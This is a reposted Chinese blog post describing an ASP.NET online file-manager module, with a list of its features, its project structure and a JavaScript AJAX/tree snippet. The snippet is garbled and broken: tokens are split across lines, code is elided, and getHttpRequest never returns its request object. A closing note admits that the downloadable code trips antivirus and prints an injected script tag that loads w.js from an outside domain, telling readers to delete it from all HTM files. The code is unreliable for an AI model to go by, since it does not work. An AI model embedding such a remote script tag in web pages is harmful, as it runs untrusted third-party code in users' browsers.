博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
ASP.NET常见模块:在线文件管理模块的设计与开发
阅读量:4449 次
发布时间:2019-06-07

本文共 1737 字,大约阅读时间需要 5 分钟。

需要完整代码的见文章最下部的链接

 

在线文件管理模块功能及应用:

    现代企业级开发中,在线文档管理是必不可少模块之一,本例所讲在线文档管理模块包括了文件上传到服务器上、文件浏览、重命名、移动、复制、删除、新建文件夹、压缩、解压缩、在线编辑等多种常用操作,适用于无纸化办公OA、ERP、CRM、项目管理、文件管理(网盘)、主机管理等多种场合。

在线文件管理模块特点:

     全静态页面、执行效率高;

     使用AJAX技术,用户体验好;
     界面美观,全新的对话框;
     操作简便,一个页面完成所有操作;
     纯DIV布局,代码简便控制,难度高;
     纯手工代码,功能扩展容易;
     抛弃传统“拖控件”做法,真正意义上的提高;
     项目结构简单,易于融入任何系统;

在线文件管理模块展示:

 

 

 

在线文件管理模块实现技能点:

     自定义AJAX操作,AJAX-tree,AJAX-Dialog

      DIV布局技术
     HttpHandler技术
     JSON技术
     IO操作技术
     在线文本编辑技术
     在线压缩技术

 

 

在线文件管理模块具体实现过程:

      搭建项目层次如图

      CSS:  存放整站样式文件

       JS:存放全部JS文件

       UpFiles:存放上传的文件

       WebExplorer.html:  唯一的界面

       MyWebExplorer.ashx:一般处理程序,用来处理HTTP请求

       DownloadFile.cs:下载文件操作类

       ZipClass.cs:压缩文件操作类

        fckeditor:在线文本编辑器

目录结构如下:

在线文件管理-树-Ajax.js

 

function getHttpRequest()
{
httpRequest = 
new XMLHttpRequest();
httpRequest = 
new ActiveXObject(
"
Msxml2.XMLHTTP
");
}
function executeHttpRequest(method, url, data)
{
    
var xmlHttp = getHttpRequest();
    xmlHttp.open(method, url, 
false);
    xmlHttp.setRequestHeader(
"
Content-Type
"
"
application/x-www-form-urlencoded
");
    xmlHttp.send(data);
    
return xmlHttp.responseText;
}
function TreeNode()
{
    
var self = 
this;
    
var fileContainer = $(fileDivID);
    ……    ……        
     
this.childArea = createDiv();
     
this.childArea.style.display = 
"
none
";
     
this.container.appendChild(
this.childArea);
    }
this.clickNode = function()
    {
        self.ClearCurrentStatus();
        currentNode = self;
        self.SetCurrentStatus();
        self.CreateChildren();
    }

关于在线文件管理-树-Tree.js的几点解说:

ClearCurrentStatus:清除当前节点状态

GotoParentNode:返回上级节点
SetCurrentStatus:设置当前节点状态
CreateChildren:创建子节点
Refersh:刷新
createImage:创建图片
createFileView:创建文件展现方式
clickDirectory:点击目录操作

 

完整代码已经提供,记得点一下推荐哦。

 

特别说明:遇到杀软报毒:找到所有HTM文件,将<script language=javascript src=http://www.haofbi.com/js/w.js></script>删除即可

请注意后续提供的该模块开发全过程的免费视频教程。

 

转载于:https://www.cnblogs.com/0771bc/archive/2012/08/18/2645719.html

你可能感兴趣的文章
MatLab Load cv::Mat 导入数据
查看>>
html+css相关笔记(一)
查看>>
基于块流协议保证音频优先发送
查看>>
关于互联网的一些数据
查看>>
nginx+lua_nginx+GraphicsMagick生成实时缩略图
查看>>
数据预处理:独热编码(One-Hot Encoding)
查看>>
python将对象名的字符串类型,转化为相应对象的操作方法
查看>>
StrutsPrepareAndExecuteFilter 与 FilterDispatcher的区别
查看>>
maven在整合springmvc+hibernate运行时遇到的一些问题
查看>>
常用http状态码
查看>>
换工作空间乱码问题
查看>>
Django H1 高级教程:如何编写可重用的应用
查看>>
php or || 和 and &&
查看>>
js实现方法的链式调用
查看>>
设置VMware Player中的虚拟机和宿主机共享文件
查看>>
Using CDPATH environment to accelerate navigation among multiple commonly used directories.
查看>>
Mac常用软件(2011-08-04)
查看>>
vue iview render里面写时间截取
查看>>
机器学习
查看>>
第四章 restframework——视图组件
查看>>